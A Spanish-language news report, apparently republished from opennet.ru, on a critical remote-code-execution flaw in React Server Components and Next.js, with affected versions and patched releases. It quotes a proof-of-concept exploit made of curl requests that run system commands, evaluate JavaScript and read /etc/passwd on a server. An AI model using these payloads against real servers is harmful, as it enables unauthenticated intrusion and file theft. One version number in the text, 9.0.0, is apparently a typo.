Vulnerabilidad en componentes del servidor de React que permite ejecutar código en el servidor

En los componentes del servidor del marco web React (RSC, React Server Components) se ha corregido una vulnerabilidad (CVE-2025-55182) que permitía, a través del envío de una solicitud al manejador del servidor, ejecutar código arbitrario en el servidor. La vulnerabilidad se ha clasificado con un nivel crítico de riesgo (10 de 10). La vulnerabilidad se presenta en los componentes experimentales react-server-dom-webpack, react-server-dom-parcel y react-server-dom-turbopack, utilizados para ejecutar funciones y generar elementos de la interfaz en el servidor, en lugar de en el lado del cliente.

El problema es causado por la deserialización insegura de los datos obtenidos en las solicitudes HTTP a los manejadores del servidor. Los manejadores "vm#runInThisContext", "vm#runInNewContext", "child_process#execFileSync" y "child_process#execSync" se pueden usar para ejecutar comandos en el sistema o ejecutar código JavaScript en el contexto del proceso actual (eludiendo el aislamiento de sandbox). También es posible usar los manejadores "fs#readFileSync" y "fs#writeFileSync" para leer y escribir archivos arbitrarios en servidor, según lo permitan los permisos actuales. No se requiere autenticación para el ataque. Un prototipo de exploit está disponible. # Ejecutar el comando whoami curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' # Ejecutar código JavaScript 1+1 curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}' # Leer el archivo \/etc\/passwd curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["\/etc\/passwd","utf8"]}'

La susceptibilidad de los sistemas a las vulnerabilidades depende de la implementación de los componentes del servidor vulnerables react-server-dom-webpack, react-server-dom-parcel y react-server-dom-turbopack. Las aplicaciones que no utilizan react-server no se ven afectadas por la vulnerabilidad. El alcance de la vulnerabilidad en sistemas de trabajo que utilizan React aún no está claro. Por un lado, React es uno de los marcos web más populares (utilizado en aproximadamente el 6% de los sitios web), y los componentes vulnerables se desarrollan principalmente en el repositorio y forman parte de las versiones. Los componentes vulnerables también se soportan en marcos basados en React como Next.js y react-router. Según la compañía Wiz Research, se han identificado instancias vulnerables en el 39% de los entornos en la nube analizados.

Por otro lado, la generación de contenido en el servidor a través de React Server Los componentes son una función poco utilizada (la mayoría de los sitios de React renderizan la interfaz solo del lado del cliente), y los componentes vulnerables están marcados como experimentales y no garantizan un funcionamiento correcto. Estos componentes tienen un número relativamente bajo de descargas directas desde el repositorio de NPM: react-server-dom-webpack — 670 mil por semana, react-server-dom-parcel — 7 mil y react-server-dom-turbopack — 32 mil. Para comparar, el paquete de NPM React tiene 45 millones de descargas a la semana.

La vulnerabilidad está presente en las versiones de React 9.0.0, 19.1.0, 19.1.1 y 19.2.0, y se ha solucionado en las actualizaciones de React 19.0.1, 19.1.2 y 19.2.1. Los componentes vulnerables también se utilizan en paquetes como Next.js (16 millones de descargas por semana), react-router (20 millones de descargas por semana), waku, @parcel/rsc, @vitejs/plugin-rsc y rwsdk.

En el marco Next.js, la vulnerabilidad (CVE-2025-66478) afecta a aplicaciones que utilizan el App Router y las ramas Next.js 15.x y 16.x. Se afirma que la vulnerabilidad se manifiesta en la configuración predeterminada de Next.js (la aplicación estándar creada por la herramienta create-next-app es vulnerable a ataques). A los usuarios se les recomienda actualizar a la mayor brevedad posible a Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 o 16.0.7.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster